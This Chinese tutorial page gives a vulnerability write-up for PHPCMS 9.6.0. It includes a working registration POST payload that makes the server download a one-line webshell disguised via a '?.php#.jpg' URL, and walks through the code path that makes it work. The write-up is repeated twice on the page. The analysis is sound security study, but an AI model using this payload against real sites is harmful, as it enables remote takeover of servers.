您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程
PHPCMSv9.6.0任意文件上传漏洞getshell
怜蕾2025-05-26phpcms教程已有4人查阅
导读phpstudy本地搭建phpcmsapache2.4.39+php5.3.29+mysql8.0.12首先需要在1.txt中写入一句话木马这里将会得到一句话木马文件的地址,就可以成功getshell了
环境:
phpstudy本地搭建phpcms
apache2.4.39+php5.3.29+mysql8.0.12
漏洞影响版本:
PHPCMS 9.6.0
POC:
首先需要在1.txt中写入一句话木马
siteid=1&modelid=11&username=test&password=123456&email=test@qq.com&info[content]=<img src=http://127.0.0.1/1.txt?.php#.jpg>&dosubmit=1&protocol=
然后用post提交poc
这里将会得到一句话木马文件的地址,就可以成功getshell了
测试:
1、该漏洞产生于于phpcms/modules/member/index.php中的register函数中,这里我们通过xdebug来进一步跟进因为我们的payload存在于info变量中,所以我们需要关注对info变量处理的代码在135行可以看到对$_POST['info']变量的值传入到了get函数进行处理,所以我们在134加上断点,然后跟进查看。
这里使用array_map调用回调函数‘new_html_special_chars’将我们的payload中的'<'和'>'转译为html实体字符 2、跟进get函数 这里2-4行是对模型的配置进行了加载,并且获取了该模型的表名,这里的表名为member_detail表结构:
接下来的6-27行是引入content中的一些名字、小长度、较大长度、错误输出等配置,来检查我们的输入是否符合要求
28-29行将content中的formtype的值作为函数名来执行,这里的的值为editor
3、跟进editor函数 2-5行对content的配置进行了导入
4、跟进download函数 3-5行对上传文件的配置进行导入
7-10行对文件的路径网站路径和文件的绝对路径生成
11-16行对content的值进行一个正则匹配,其中变量matches[3]是src或者href后的url地址17行将对匹配出来的url进行一个分析
5、跟进fillurl函数 这个函数的重点是第21、22行,这里写意图应该是想把#号去掉,但是也能将#号后面的内容也去掉,所以我们用来绕过的#.jpg就被去掉了然后返回的值就是http://127.0.0.1/1.txt?.php
6、执行完毕fillurl函数回到download函数,执行完后返回$oldpath,$newpath,$value的值 所以这里的第6行就把php当作了文件的ext,然后通过getname函数随机生成文件名称,其所生成的然后第12行copy了变量$file中的内容,也就是我们文本中的一句话木马
7、回到editor函数并返回$value值,回到get函数并返回$info值
8、回到register函数,开始对数据插入表中 在第14行插入$user_model_info的时候由于数据类型不同会报错,就可以获取我们上传文件的路径,从而getshell了。
phpstudy本地搭建phpcms
apache2.4.39+php5.3.29+mysql8.0.12
漏洞影响版本:
PHPCMS 9.6.0
POC:
首先需要在1.txt中写入一句话木马
siteid=1&modelid=11&username=test&password=123456&email=test@qq.com&info[content]=<img src=http://127.0.0.1/1.txt?.php#.jpg>&dosubmit=1&protocol=
然后用post提交poc
这里将会得到一句话木马文件的地址,就可以成功getshell了
测试:
1、该漏洞产生于于phpcms/modules/member/index.php中的register函数中,这里我们通过xdebug来进一步跟进因为我们的payload存在于info变量中,所以我们需要关注对info变量处理的代码在135行可以看到对$_POST['info']变量的值传入到了get函数进行处理,所以我们在134加上断点,然后跟进查看。
这里使用array_map调用回调函数‘new_html_special_chars’将我们的payload中的'<'和'>'转译为html实体字符 2、跟进get函数 这里2-4行是对模型的配置进行了加载,并且获取了该模型的表名,这里的表名为member_detail表结构:
接下来的6-27行是引入content中的一些名字、小长度、较大长度、错误输出等配置,来检查我们的输入是否符合要求
28-29行将content中的formtype的值作为函数名来执行,这里的的值为editor
3、跟进editor函数 2-5行对content的配置进行了导入
4、跟进download函数 3-5行对上传文件的配置进行导入
7-10行对文件的路径网站路径和文件的绝对路径生成
11-16行对content的值进行一个正则匹配,其中变量matches[3]是src或者href后的url地址17行将对匹配出来的url进行一个分析
5、跟进fillurl函数 这个函数的重点是第21、22行,这里写意图应该是想把#号去掉,但是也能将#号后面的内容也去掉,所以我们用来绕过的#.jpg就被去掉了然后返回的值就是http://127.0.0.1/1.txt?.php
6、执行完毕fillurl函数回到download函数,执行完后返回$oldpath,$newpath,$value的值 所以这里的第6行就把php当作了文件的ext,然后通过getname函数随机生成文件名称,其所生成的然后第12行copy了变量$file中的内容,也就是我们文本中的一句话木马
7、回到editor函数并返回$value值,回到get函数并返回$info值
8、回到register函数,开始对数据插入表中 在第14行插入$user_model_info的时候由于数据类型不同会报错,就可以获取我们上传文件的路径,从而getshell了。
本文标签:
很赞哦! (1)
上一篇:phpcms后台信息修改文件路径
下一篇:phpcmsV9添加模块的方法
暂无内容 |
暂无内容 |
相关教程
相关源码
-
(PC+WAP)绿色草坪地坪操场pbootcms网站模板该模板基于PbootCMS内核开发,专为人造草坪、地坪施工企业设计,采用绿色主题呼应行业属性,实现PC与WAP端全栈响应式适配,确保跨设备无缝浏览体验。查看源码
-
pbootcms模板(PC+WAP)APP应用软件下载类官网源码为APP应用软件官网打造的响应式解决方案,PC端与移动端(WAP)数据实时同步,一次更新全网生效,满足多终端用户无缝体验需求。查看源码
-
自适应APP应用程序介绍推广落地页pbootcms网站源码下载移动应用开发商设计的营销型落地页模板,基于PbootCMS内核深度开发采用前沿响应式架构,无缝适配手机端操作习惯与PC端展示需求。查看源码
-
深蓝色风景摄影机构网站(自适应多端)pbootcms模板该模板基于PbootCMS内核开发,专为风景摄影机构、户外摄影企业设计,采用深蓝色主题传递专业与艺术感,全栈响应式架构确保PC、平板、手机端无缝适配PHP程序结合轻量级SQLite数据库也可以更换MySQL数据库查看源码
-
(PC+WAP)红色户外岗亭钢结构岗亭pbootcms网站模板为钢结构岗亭、户外设施企业打造的高端响应式营销门户,基于PbootCMS开源内核深度开发采用HTML5自适应架构,实现PC与移动端数据实时同步展示查看源码
-
pbootcms(自适应)SEO优化排名服务公司网站模板核心定位为SEO排名服务商打造的营销型网站框架,集成PbootCMS开源系统的高效管理能力与SEO最佳实践方案,助力企业快速建立专业的技术服务形象。查看源码
暂无内容 |
暂无内容 |
图文教程
PHPCM V9站群功能建立分站的方法
用一套CMS软件系统,做多个网站,统一管理,用户可以互通,这就是所谓的站群功能。这对于运营和维护都能节省很多时间,否则要同时调试和维护不同系统会非常吃力。phpcms判断用户是否登录的方法
phpcms判断用户是否登录的方法:首先要获取useridphpcms判断用户是否登录实现代码在phpcms/modules/member/的index.php中:phpcms上传不了图片的解决方法
PHPCMSV9在最近一次更新的版本(9.4.2)中由于代码判断失误。导致PHPCMS在后台更新文章无法上传图片而导致的bug。在PHPCMS论坛中找到了临时解决方案phpcms设置不同水印的方法
phpcms设置不同水印的方法:首先打开后台,填写账号密码,验证码并登录;然后点击“站点管理”,并选择要修改水印的站点;接着点击修改,并在弹出的对话框中找到水印功能
分享笔记 (共有 0 篇笔记) |